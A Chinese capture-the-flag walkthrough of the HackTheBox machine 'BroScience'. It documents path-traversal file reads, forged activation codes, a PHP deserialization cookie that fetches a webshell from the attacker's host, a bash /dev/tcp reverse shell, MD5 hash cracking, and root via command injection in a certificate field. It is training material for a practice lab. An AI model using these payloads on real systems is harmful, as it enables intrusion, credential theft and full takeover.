HackTheBox-BroScience
2023-4-16 20:42:57 Author: Matrix1024(查看原文) 阅读量:14 收藏

01

信息收集

使用nmap对靶场地址进行端口嗅探,靶场仅对外开放SSH(22)和WEB(80、443)服务。

sudo nmap -sT -p- --min-rate 10000 10.129.228.129
sudo nmap -sV -sC -p 22,80,443 10.129.228.129

访问80端口,页面跳转至https://broscience.htb/域名访问。

在/etc/hosts添加broscience.htb域名解析路径。

sudo vim /etc/hosts
# broscience.htb10.129.228.129 broscience.htb

查看Web页面为以下内容如下。

点击左上角“LOG IN”,进入https://broscience.htb/login.php登录页面,点击“Create an account”进入https://broscience.htb/register.php用户注册页面。

注册账户,页面返回“帐户已创建。请检查您的电子邮件以获取激活链接。”。

使用注册用户进行登录,未能登录成功。

使用dirsearch对https://broscience.htb/进行目录扫描结果如下,除刚研究的login.php,register.php外,比较有价值的就是https://broscience.htb/includes/,该目录内包含一些文件。

02

文件读取

在https://broscience.htb/includes/img.php页面提示缺少“path”参数。

构造path参数,页面返回报错信息。

推测该接口可能存在文件读取漏洞,访问https://broscience.htb/includes/img.php?path=/etc/passwd页面返回拦截信息“Error: Attack detected.”。

 使用wfuzz对接口进行fuzz测试。

wfuzz -u "https://broscience.htb/includes/img.php?path=FUZZ" -w dotdotpwn.txt --hh 0 --hs Attack-u 指向请求地址-w 字典-hh 隐藏0字节的响应包-hs 隐藏匹配到指定正则的响应包# 字典下载地址https://github.com/foospidy/payloads

在FUZZ的同时发现该path路径为首页图片的加载地址。

在Burpsuite的repeater模块中访问请求FUZZ结果链接,发现可以成功获取到/etc/passwd文件。Web页面存在文件读取漏洞。

也可以通过curl验证文件读取漏洞。

curl -k https://broscience.htb/includes/img.php?path=..%252f..%252f..%252f..%252f..%252fetc%252fpasswd
root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin_apt:x:100:65534::/nonexistent:/usr/sbin/nologinsystemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologinsystemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologintss:x:103:109:TPM software stack,,,:/var/lib/tpm:/bin/falsemessagebus:x:104:110::/nonexistent:/usr/sbin/nologinsystemd-timesync:x:105:111:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologinusbmux:x:106:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologinrtkit:x:107:115:RealtimeKit,,,:/proc:/usr/sbin/nologinsshd:x:108:65534::/run/sshd:/usr/sbin/nologindnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologinavahi:x:110:116:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologinspeech-dispatcher:x:111:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/falsepulse:x:112:118:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologinsaned:x:113:121::/var/lib/saned:/usr/sbin/nologincolord:x:114:122:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologingeoclue:x:115:123::/var/lib/geoclue:/usr/sbin/nologinDebian-gdm:x:116:124:Gnome Display Manager:/var/lib/gdm3:/bin/falsebill:x:1000:1000:bill,,,:/home/bill:/bin/bashsystemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologinpostgres:x:117:125:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash_laurel:x:998:998::/var/log/laurel:/bin/false

通过https://broscience.htb/includes/img.php?path=..%252fincludes/img.php读取到img.php源代码,源代码中对请求参数中的../,etc/passwd,.ssh做了黑名单限制。

访问https://broscience.htb/includes/img.php?path=..%252fincludes/db_connect.php,读取到数据库连接凭据,在端口嗅探中未发现5432端口开放,故该凭据目前无法使用。

$db_host = "localhost";$db_port = "5432";$db_name = "broscience";$db_user = "dbuser";$db_pass = "RangeOfMotion%777";$db_salt = "NaCl";
$db_conn = pg_connect("host={$db_host} port={$db_port} dbname={$db_name} user={$db_user} password={$db_pass}");
if (!$db_conn) {  die("Error: Unable to connect to database");}  ?>

访问https://broscience.htb/includes/img.php?path=..%252fincludes/navbar.php,获得navbar.php源代码。

<?phpinclude_once "includes/utils.php";?>
<nav class="uk-navbar-container uk-margin uk-navbar-transparent <?=get_theme_class()?>">    <div class="uk-container uk-container-expand">        <div class="uk-navbar" uk-navbar>            <div class="uk-navbar-left">                <a href="/" class="uk-navbar-item uk-logo">BroScience</a>            </div>            <div class="uk-navbar-right">                <?php                // Check if user is logged in                if (isset($_SESSION['id'])) {                    echo '<div class="uk-navbar-item"><a href="swap_theme.php" class="uk-link-text"><span uk-icon="icon: paint-bucket"></span></a></div>';                    echo "<div class=\"uk-navbar-item\">Logged in as <a class=\"uk-link-text\" href=\"user.php?id={$_SESSION['id']}\"><b>".htmlspecialchars($_SESSION['username'],ENT_QUOTES,'UTF-8')."</b></a></div>";                    echo '<ul class="uk-navbar-nav"><li><a href="logout.php">Log Out</a></li></ul>';                } else {                    echo '<ul class="uk-navbar-nav"><li><a href="login.php">Log In</a></li></ul>';                }                ?>            </div>        </div>    </div></nav>

访问https://broscience.htb/includes/img.php?path=..%252fincludes/utils.php,获得utils.php源代码。分析源代码,utils.php主要由一些函数构成,其中“function get_theme()”中用到了序列化和反序列化的转换,“class AvatarInterface”存在魔法函数__wakeup()。

<?phpfunction generate_activation_code() {    $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";    srand(time());    $activation_code = "";    for ($i = 0; $i < 32; $i++) {        $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];    }    return $activation_code;}
// Source: https://stackoverflow.com/a/4420773 (Slightly adapted)function rel_time($from, $to = null) {    $to = (($to === null) ? (time()) : ($to));    $to = ((is_int($to)) ? ($to) : (strtotime($to)));    $from = ((is_int($from)) ? ($from) : (strtotime($from)));
   $units = array    (        "year"   => 29030400, // seconds in a year   (12 months)        "month"  => 2419200,  // seconds in a month  (4 weeks)        "week"   => 604800,   // seconds in a week   (7 days)        "day"    => 86400,    // seconds in a day    (24 hours)        "hour"   => 3600,     // seconds in an hour  (60 minutes)        "minute" => 60,       // seconds in a minute (60 seconds)        "second" => 1         // 1 second    );
   $diff = abs($from - $to);
   if ($diff < 1) {        return "Just now";    }
   $suffix = (($from > $to) ? ("from now") : ("ago"));
   $unitCount = 0;    $output = "";
   foreach($units as $unit => $mult)        if($diff >= $mult && $unitCount < 1) {            $unitCount += 1;            // $and = (($mult != 1) ? ("") : ("and "));            $and = "";            $output .= ", ".$and.intval($diff / $mult)." ".$unit.((intval($diff / $mult) == 1) ? ("") : ("s"));            $diff -= intval($diff / $mult) * $mult;        }
   $output .= " ".$suffix;    $output = substr($output, strlen(", "));
   return $output;}
class UserPrefs {    public $theme;
   public function __construct($theme = "light") {    $this->theme = $theme;    }}
function get_theme() {    if (isset($_SESSION['id'])) {        if (!isset($_COOKIE['user-prefs'])) {            $up_cookie = base64_encode(serialize(new UserPrefs()));            setcookie('user-prefs', $up_cookie);        } else {            $up_cookie = $_COOKIE['user-prefs'];        }        $up = unserialize(base64_decode($up_cookie));        return $up->theme;    } else {        return "light";    }}
function get_theme_class($theme = null) {    if (!isset($theme)) {        $theme = get_theme();    }    if (strcmp($theme, "light")) {        return "uk-light";    } else {        return "uk-dark";    }}
function set_theme($val) {    if (isset($_SESSION['id'])) {        setcookie('user-prefs',base64_encode(serialize(new UserPrefs($val))));    }}
class Avatar {    public $imgPath;
   public function __construct($imgPath) {        $this->imgPath = $imgPath;    }
   public function save($tmp) {        $f = fopen($this->imgPath, "w");        fwrite($f, file_get_contents($tmp));        fclose($f);    }}
class AvatarInterface {    public $tmp;    public $imgPath;
   public function __wakeup() {        $a = new Avatar($this->imgPath);        $a->save($this->tmp);    }}?>

访问https://broscience.htb/includes/img.php?path=..%252fuser.php,获得user.php源代码。

<?phpsession_start();
// Is it a proper request?if (isset($_GET['id'])) {    if (!empty($_GET['id'])) {        if (filter_var($_GET['id'], FILTER_VALIDATE_INT)) {            include_once 'includes/db_connect.php';            $res = pg_prepare($db_conn, "get_user_query", 'SELECT username, email, is_activated::int, is_admin::int, date_created FROM users WHERE id = $1');            $res = pg_execute($db_conn, "get_user_query", array($_GET['id']));
           if (pg_num_rows($res) > 0) {                $row = pg_fetch_row($res);            } else {                $alert = "No user with that ID";            }        } else {            $alert = "Invalid ID value";        }    } else {        $alert = "Empty ID value";    }} else {    $alert = "Missing ID value";}?>
<html>    <head>        <title>BroScience : <?php if (isset($row)) {echo htmlspecialchars($row[0],ENT_QUOTES,'UTF-8');} else {echo "View user";}?></title>        <?php        include_once 'includes/header.php';        include_once 'includes/utils.php';        $theme = get_theme();        ?>        <link rel="stylesheet" href="styles/<?=$theme?>.css">    </head>    <body class="<?=get_theme_class($theme)?>">        <?php include_once 'includes/navbar.php'; ?>        <div class="uk-container uk-container-xsmall">            <?php            // Display any alerts            if (isset($alert)) {            ?>            <div uk-alert class="uk-alert-<?php if(isset($alert_type)){echo $alert_type;}else{echo 'danger';} ?>">                    <a class="uk-alert-close" uk-close></a>                    <?=$alert?>                </div>            <?php            }            if (isset($row)) {            ?>                <h1 class="uk-heading-small"><?=htmlspecialchars($row[0],ENT_QUOTES,'UTF-8')?></h1>                <!-- TODO: Avatars -->                <dl class="uk-description-list">                    <dt>Member since</dt>                    <dd><?=rel_time($row[4])?></dd>                    <dt>Email Address</dt>                    <dd><?=$row[1]?></dd>                    <dt>Total exercises posted</dt>                    <dd>                        <?php                        $res = pg_prepare($db_conn, "get_num_exercises_query", 'SELECT COUNT(*) FROM exercises WHERE author_id = $1');                        $res = pg_execute($db_conn, "get_num_exercises_query", array($_GET['id']));                        $row2 = pg_fetch_row($res);                        echo $row2[0];                        ?>                    </dd>                    <dt>Total comments posted</dt>                    <dd>                        <?php                        $res = pg_prepare($db_conn, "get_num_comments_query", 'SELECT COUNT(*) FROM comments WHERE author_id = $1');                        $res = pg_execute($db_conn, "get_num_comments_query", array($_GET['id']));                        $row3 = pg_fetch_row($res);                        echo $row3[0];                        ?>                    </dd>                    <dt>Is activated</dt>                    <dd>                        <?=(bool)$row[2]?'Yes':'No'?>                    </dd>                    <dt>Is admin</dt>                    <dd>                        <?=(bool)$row[3]?'Yes':'No'?>                    </dd>                </dl>            <?php                // Check if we are logged in                if (isset($_SESSION['id'])) {                    if ($_SESSION['id'] === $_GET['id'] || $_SESSION['is_admin']) {                        // We are logged in as this user, add the edit form                        ?>                        <hr>                        <form class="uk-form-stacked" method="POST" action="update_user.php">                            <fieldset class="uk-fieldset">                                <legend class="uk-legend">Edit User</legend>                                <div class="uk-margin">                                    <input name="username" class="uk-input" type="text" placeholder="New username">                                </div>                                <div class="uk-margin">                                    <input name="email" class="uk-input" type="email" placeholder="New email">                                </div>                                <div class="uk-margin">                                    <input name="password" class="uk-input" placeholder="New password">                                </div>                                <div class="uk-margin">                                    <button class="uk-button uk-button-default" type="submit">Update</button>                                </div>                                <input type="hidden" name="id" value="<?=$_GET['id']?>">                            </fieldset>                        </form>                        <?php                    }                }            }            ?>        </div>    </body></html>

分析user.php,发现通过构造id参数访问https://broscience.htb/user.php?id=1,可以遍历出用户信息。

administratorbillmichaeljohndmytro

访问https://broscience.htb/includes/img.php?path=..%252fregister.php,获得register.php源代码,查看注册完成时的activation link激活功能模块。发现激活链接“https://broscience.htb/activate.php?code={$activation_code}”中的$activation_code由includes/utils.php页面中generate_activation_code()函数生成。

<?php  session_start();
// Check if user is logged in alreadyif (isset($_SESSION['id'])) {  header('Location: /index.php');}
// Handle a submitted register formif (isset($_POST['username']) && isset($_POST['email']) && isset($_POST['password']) && isset($_POST['password-confirm'])) {  // Check if variables are empty  if (!empty($_POST['username']) && !empty($_POST['email']) && !empty($_POST['password']) && !empty($_POST['password-confirm'])) {    // Check if passwords match    if (strcmp($_POST['password'], $_POST['password-confirm']) == 0) {      // Check if email is too long      if (strlen($_POST['email']) <= 100) {        // Check if email is valid        if (filter_var($_POST['email'], FILTER_VALIDATE_EMAIL)) {          // Check if username is valid          if (strlen($_POST['username']) <= 100) {            // Check if user exists already                include_once 'includes/db_connect.php';
           $res = pg_prepare($db_conn, "check_username_query", 'SELECT id FROM users WHERE username = $1');            $res = pg_execute($db_conn, "check_username_query", array($_POST['username']));
           if (pg_num_rows($res) == 0) {              // Check if email is registered already              $res = pg_prepare($db_conn, "check_email_query", 'SELECT id FROM users WHERE email = $1');              $res = pg_execute($db_conn, "check_email_query", array($_POST['email']));
             if (pg_num_rows($res) == 0) {                // Create the account                include_once 'includes/utils.php';                $activation_code = generate_activation_code();                $res = pg_prepare($db_conn, "check_code_unique_query", 'SELECT id FROM users WHERE activation_code = $1');                $res = pg_execute($db_conn, "check_code_unique_query", array($activation_code));
               if (pg_num_rows($res) == 0) {                  $res = pg_prepare($db_conn, "create_user_query", 'INSERT INTO users (username, password, email, activation_code) VALUES ($1, $2, $3, $4)');                  $res = pg_execute($db_conn, "create_user_query", array($_POST['username'], md5($db_salt . $_POST['password']), $_POST['email'], $activation_code));
                 // TODO: Send the activation link to email                  $activation_link = "https://broscience.htb/activate.php?code={$activation_code}";
                 $alert = "Account created. Please check your email for the activation link.";                  $alert_type = "success";                } else {                  $alert = "Failed to generate a valid activation code, please try again.";                    }                    } else {                    $alert = "An account with this email already exists.";                    }                    }                    else {                    $alert = "Username is already taken.";                    }                    } else {                    $alert = "Maximum username length is 100 characters.";                    }                    } else {                    $alert = "Please enter a valid email address.";                    }                    } else {                    $alert = "Maximum email length is 100 characters.";                    }                    } else {                    $alert = "Passwords do not match.";                    }                    } else {                    $alert = "Please fill all fields in.";                    }                    }                    ?>
                   <html>                    <head>                    <title>BroScience : Register</title>                    <?php include_once 'includes/header.php'; ?>                    </head>                    <body>                    <?php include_once 'includes/navbar.php'; ?>                    <div class="uk-container uk-container-xsmall">                    <form class="uk-form-stacked" method="POST" action="register.php">                    <fieldset class="uk-fieldset">                    <legend class="uk-legend">Register</legend>                    <?php                    // Display any alerts                    if (isset($alert)) {                    ?>                    <div uk-alert class="uk-alert-<?php if(isset($alert_type)){echo $alert_type;}else{echo 'danger';} ?>">                    <a class="uk-alert-close" uk-close></a>                    <?=$alert?>                    </div>                    <?php                    }                    ?>                    <div class="uk-margin">                    <input name="username" class="uk-input" placeholder="Username">                    </div>                    <div class="uk-margin">                    <input name="email" class="uk-input" type="email" placeholder="Email">                    </div>                    <div class="uk-margin">                    <input name="password" class="uk-input" type="password" placeholder="Password">                    </div>                    <div class="uk-margin">                    <input name="password-confirm" class="uk-input" type="password" placeholder="Repeat password">                    </div>                    <div class="uk-margin">                    <button class="uk-button uk-button-default" type="submit">Register</button>                    </div>                    </fieldset>                    </form>                    </div>                    </body>                    </html>

03

获取www-data权限

我们可以尝试在账户注册时,通过includes/utils.php页面中generate_activation_code()函数生成activation_code,并通过https://broscience.htb/activate.php?code={$activation_code}进行账户激活。

# register.php中相关代码片段include_once 'includes/utils.php';$activation_code = generate_activation_code();
# utils.php中相关代码片段function generate_activation_code() {    $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";    srand(time());  //srand() 函数播种随机数生成器,time() 函数返回自 Unix 纪元(January 1 1970 00:00:00 GMT)起的当前时间的秒数。    $activation_code = "";    for ($i = 0; $i < 32; $i++) {        $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];    }    return $activation_code;}

在https://broscience.htb/register.php注册用户,从响应包中获取DATA。

Sun, 16 Apr 2023 03:38:57 GMT

因为执行generate_activation_code()时为用户注册后的校验阶段,故原time()应该为注册时间,及注册用户的响应包“DATA”字段。且因为程序在处理函数时可能会与返回的“DATA”字段存在出入,可以增加一个循环,生成该"DATA"字段前后30秒的code,通过枚举激活注册账户,代码如下:

<?php    function generate_activation_code($new_time) {    $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";    srand($new_time);     $activation_code = "";    for ($i = 0; $i < 32; $i++) {        $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];    }    return $activation_code;}
$time = strtotime('Sun, 16 Apr 2023 03:12:15 GMT');for ($new_time = $time - 30; $new_time <= $time + 30; $new_time ++){    $activation_code = generate_activation_code($new_time);    echo $activation_code."\n";}?>

  使用wfuzz对codes.txt枚举,成功激活注册用户。

wfuzz -u https://broscience.htb/activate.php?code=FUZZ -w codes.txt --hh 1256

使用注册用户登录,成功登入。

登录成功后查看cookie信息,疑似user-prefs字段值为base64编码,使用base64解码,获取到cookie明文。

echo "Tzo5OiJVc2VyUHJlZnMiOjE6e3M6NToidGhlbWUiO3M6NToibGlnaHQiO30%3D" | base64 -dO:9:"UserPrefs":1:{s:5:"theme";s:5:"light";}

继续分析utils.php,以下函数说明cookie中'user-prefs'的生成方式,base64_encode(serialize(new UserPrefs())),涉及了序列化和反序列化。

function get_theme() {  if (isset($_SESSION['id'])) {    if (!isset($_COOKIE['user-prefs'])) {      $up_cookie = base64_encode(serialize(new UserPrefs()));      setcookie('user-prefs', $up_cookie);    } else {      $up_cookie = $_COOKIE['user-prefs'];    }    $up = unserialize(base64_decode($up_cookie));    return $up->theme;  } else {    return "light";  }}
function get_theme_class($theme = null) {  if (!isset($theme)) {    $theme = get_theme();  }  if (strcmp($theme, "light")) {    return "uk-light";  } else {    return "uk-dark";  }}
function set_theme($val) {  if (isset($_SESSION['id'])) {    setcookie('user-prefs',base64_encode(serialize(new UserPrefs($val))));  }}

以下代码片段说明文件的写入过程,其中包含了 __construct()、__wakeup()等魔术方法。

class Avatar {    public $imgPath;
   public function __construct($imgPath) {        $this->imgPath = $imgPath;    }
   public function save($tmp) {        $f = fopen($this->imgPath, "w");        fwrite($f, file_get_contents($tmp));        fclose($f);    }}
class AvatarInterface {    public $tmp;    public $imgPath;
   public function __wakeup() {        $a = new Avatar($this->imgPath);        $a->save($this->tmp);    }}

上面我们已经知道了cookie的生成方式,我们可以利用“class AvatarInterface”的__wakeuo()魔术方法及“public function save()”函数的写入文件功能,将恶意payload生成恶意的“user-prefs”cookie,程序经过反序列化“user-prefs”cookie,将webshell写入网站。

class Avatar {    public $imgPath;        // cmd.php
   public function __construct($imgPath) {        $this->imgPath = $imgPath;    }
   public function save($tmp) {    // http://10.10.14.23:8000/cmd.php        $f = fopen($this->imgPath, "w");        fwrite($f, file_get_contents($tmp));        fclose($f);    }}
class AvatarInterface {    public $tmp;    public $imgPath;
   public function __wakeup() {        $a = new Avatar($this->imgPath);        $a->save($this->tmp);    }}$AvatarInterface = new AvatarInterface();$AvatarInterface->tmp = "http://10.10.14.23:8000/cmd.php";$AvatarInterface->imgPath = "cmd.php";$cookie = base64_encode(serialize($AvatarInterface));echo $cookie;?>

在kali制作一句话木马cmd.php,并在当前目录下使用python开启http服务,等待连接下载。

# 在cmd.php写入一句话木马echo '<?php system($_GET["cmd"]); ?>' >cmd.php# 查看一句话木马cat cmd.php# python开启HTTP服务python3 -m http.server

使用Burpsuite对注册用户登录首页进行抓包,将cookie中“user-prefs”字段替换为刚生成的恶意payload,重放数据包。可以看到python开启http服务收到了3条连接信息。

Cookie: PHPSESSID=ltrdjhfgahlavo87jptt8os7eq; user-prefs=TzoxNToiQXZhdGFySW50ZXJmYWNlIjoyOntzOjM6InRtcCI7czozMToiaHR0cDovLzEwLjEwLjE0LjIzOjgwMDAvY21kLnBocCI7czo3OiJpbWdQYXRoIjtzOjk6Ii4vY21kLnBocCI7fQ==

访问https://broscience.htb/cmd.php?cmd=id,页面返回uid=33(www-data) gid=33(www-data) groups=33(www-data) ,获取到www-data权限。

上传的cmd.php容易被清除,需要重放替换“user-prefs”字段的数据包方可正常执行命令。这里将执行反弹shell命令,反弹出一个稳定的shell。

# kali使用nc开启9002端口监听nc -lvnp 9002# 在cmd.php中执行反弹shell,注意要将&编码为%26https://broscience.htb/cmd.php?cmd=bash -c 'bash -i >%26 /dev/tcp/10.10.14.23/9002 0>%261'

查看家目录发现存在bill用户,但是无权限读取bill用户桌面的user.txt。

使用netstat查看无法查看到网络连接情况,且无法退出命令执行,还不是完全的交互式shell。

04

获取bill权限

通过命令将shell升级为交互式shell,重新查看网络连接情况,发现postgresql数据库运行,可以通过之前获得的凭据登录postgresql数据库。

netstat -ap tcp

使用db_connect.php中的凭据成功进入postgresql数据库。

psql -h 127.0.0.1 -U dbuser -d broscience

查看user数据表,发现存在5行数据,且存在密码字段,其中包括bill用户。

select * from users;
id |   username    |             password             |            email       |         activation_code          | is_activated | is_admin |         dat1 | administrator | 15657792073e8a843d4f91fc403454e1 | [email protected] | OjYUyL9R4NpM9LOFP0T4Q4NUQ9PNpLHf | t            | t        | 2019-03-07 02:02:22.226763-052 | bill          | 13edad4932da9dbb57d9cd15b66ed104 | [email protected]    | WLHPyj7NDRx10BYHRJPPgnRAYlMPTkp4 | t            | f        | 2019-05-07 03:34:44.127644-043 | michael       | bd3dad50e2d578ecba87d5fa15ca5f85 | [email protected] | zgXkcmKip9J5MwJjt8SZt5datKVri9n3 | t            | f        | 2020-10-01 04:12:34.732872-044 | john          | a7eed23a7be6fe0d765197b1027453fe | [email protected]    | oGKsaSbjocXb3jwmnx5CmQLEjwZwESt6 | t            | f        | 2021-09-21 11:45:53.118482-045 | dmytro        | 5d15340bded5b9395d5d14b9c21bc82b | [email protected]  | 43p9iHX6cWjr9YhaUNtWxEBNtpneNMYm | t            | f        | 2021-08-13

同时在register.php中可以得知用户密码字段由md5($db_salt . $_POST['password'])方式加密,且$db_salt值在db_connect.php中定义为"NaCl"。以此可以爆破出bill账户的口令。

# 以下片段说明数据库中密码字段为md5($db_salt . $_POST['password'])加密方式$res = pg_execute($db_conn, "create_user_query", array($_POST['username'], md5($db_salt . $_POST['password']), $_POST['email'], $activation_code));# 在db_connect.php有$db_salt的值$db_salt = "NaCl";

使用hashcat成功爆破出bill账户凭据。

hashcat 13edad4932da9dbb57d9cd15b66ed104:NaCl /usr/share/wordlists/rockyou.txt -m 20# 凭据信息bill:iluvhorsesandgym

在端口嗅探中得知靶场开放22端口,使用bill账户进行ssh登录,成功获取到bill账户权限,在bill账户桌面获得user.txt。

ssh [email protected]10.129.228.129

05

获取root权限

执行"sudo -l"命令,未发现sudo配置不当,无法通过sudo进行提权。

将pspy64通过上传至靶机,并运行pspy64对系统进行信息收集。发现定时计划任务中存在root权限执行的/opt/renew_cert.sh。

查看/opt/renew_cert.sh脚本内容,发现该脚本主要为检查证书是否在一天内过期,如一天内过期,则重新生成一个有效期为365天的temp.crt证书,并将该证书替换原来的certificate.crt证书。

#!/bin/bash
if [ "$#" -ne 1 ] || [ $1 == "-h" ] || [ $1 == "--help" ] || [ $1 == "help" ]; then    echo "Usage: $0 certificate.crt";    exit 0;fi
if [ -f $1 ]; then
   openssl x509 -in $1 -noout -checkend 86400 > /dev/null
   if [ $? -eq 0 ]; then        echo "No need to renew yet.";        exit 1;    fi
   subject=$(openssl x509 -in $1 -noout -subject | cut -d "=" -f2-)
   country=$(echo $subject | grep -Eo 'C = .{2}')    state=$(echo $subject | grep -Eo 'ST = .*,')    locality=$(echo $subject | grep -Eo 'L = .*,')    organization=$(echo $subject | grep -Eo 'O = .*,')    organizationUnit=$(echo $subject | grep -Eo 'OU = .*,')    commonName=$(echo $subject | grep -Eo 'CN = .*,?')    emailAddress=$(openssl x509 -in $1 -noout -email)
   country=${country:4}    state=$(echo ${state:5} | awk -F, '{print $1}')    locality=$(echo ${locality:3} | awk -F, '{print $1}')    organization=$(echo ${organization:4} | awk -F, '{print $1}')    organizationUnit=$(echo ${organizationUnit:5} | awk -F, '{print $1}')    commonName=$(echo ${commonName:5} | awk -F, '{print $1}')
   echo $subject;    echo "";    echo "Country     => $country";    echo "State       => $state";    echo "Locality    => $locality";    echo "Org Name    => $organization";    echo "Org Unit    => $organizationUnit";    echo "Common Name => $commonName";    echo "Email       => $emailAddress";
   echo -e "\nGenerating certificate...";    openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout /tmp/temp.key -out /tmp/temp.crt -days 365 <<<"$country    $state    $locality    $organization    $organizationUnit    $commonName    $emailAddress    " 2>/dev/null
   /bin/bash -c "mv /tmp/temp.crt /home/bill/Certs/$commonName.crt"else    echo "File doesn't exist"    exit 1;

在第54行可以发现存在变量“$commonName”,而“$commonName”变量引自第24行“commonName=$(echo $subject | grep -Eo 'CN = .*,?')”。我们可以利用openssl生成一个新证书,在填写Common Name这一栏时加入恶意代码。

# 进入/home/bill/Certs/目录cd /home/bill/Certs/# 生成有效期为1天(86400)的证书,证书名为broscience.crt openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout broscience.key -out broscience.crt  -days 1# 设置Common Name为恶意payload$(chmod +s /bin/bash)

待计划任务执行,/bin/bash成功增加SUID和GUID权限。

ls -al /bin/bash-rwsr-sr-x 1 root root 1234376 Mar 27  2022 /bin/bash

执行“/bin/bash -p”,成功获取root权限。

在root用户家目录获取到root.txt。

游戏结束。


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg5NzYxMjI5OA==&mid=2247485566&idx=1&sn=406086db8380b27f1d002d04a1c0f5a0&chksm=c06e671bf719ee0d6513c7e761d57042746158fe5d6fbd24173855bdebe9f6316bd9f930ed24#rd
如有侵权请联系:admin#unsafe.sh